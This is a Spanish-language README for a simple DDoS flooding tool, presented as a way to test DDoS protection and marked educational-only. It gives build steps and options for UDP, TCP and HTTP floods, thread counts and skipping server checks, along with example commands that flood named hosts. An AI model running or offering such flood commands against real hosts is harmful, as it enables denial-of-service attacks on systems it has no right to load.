ddos : programa sencillo para probar el sistema de protección ddos
ESTE PROGRAMA SE OFRECE SÓLO PARA FINES EDUCATIVOS
El soporte de este programa está actualmente suspendido. El desarrollo de un kit de herramientas completamente nuevo se inicia en https://github.com/Andrewerr/ddos2
$ ./build.sh release
Aviso: algunos compiladores no admiten la compilación actual. Descargue la última versión desde aquí: https://github.com/Andrewerr/ddos/releases
$./ddos (HOST) (PORT) [options...]
HOST: anfitrión de ddos
PUERTO: puerto para conectar; si se establece en 0, probará puertos aleatorios
Opciones:
-r - generar paquete aleatorio
-u-Usa UDP
-p - Usar TCP
-t (NÚMERO DE HILOS): describe el número de hilos, establecido de forma predeterminada en 5
-s (TAMAÑO DEL PAQUETE) - establece el tamaño del paquete
--http -- Realizar solicitud http
--no-warnings -- ignora todas las advertencias
--no-errors -- ignorar errores
--no-wait -- No esperar que el servidor responda
--no-check -- No verifique el servidor antes de iniciar ddos
--packetfile (NOMBRE DE ARCHIVO): carga el contenido del paquete desde el archivo (se puede anular con la opción --http)
--sleep (TIEMPO) -- duerme entre envíos de paquetes (en milisegundos)
$ ./ddos some.boring.long.domain.net 80 -t 70 --no-wait --http
Esto enviará paquetes some.boring.long.domain.net:80 sin esperar respuesta utilizando la sintaxis de solicitud http en 70 subprocesos.
$ ./ddos example.com 88 --no-check --no-wait -u
Con estas opciones, el programa enviará paquetes a example.com:88 sin realizar una verificación previa del host y sin esperar respuesta. El programa utilizará 5 subprocesos. El programa utilizará el protocolo UDP.
$ ./build.sh update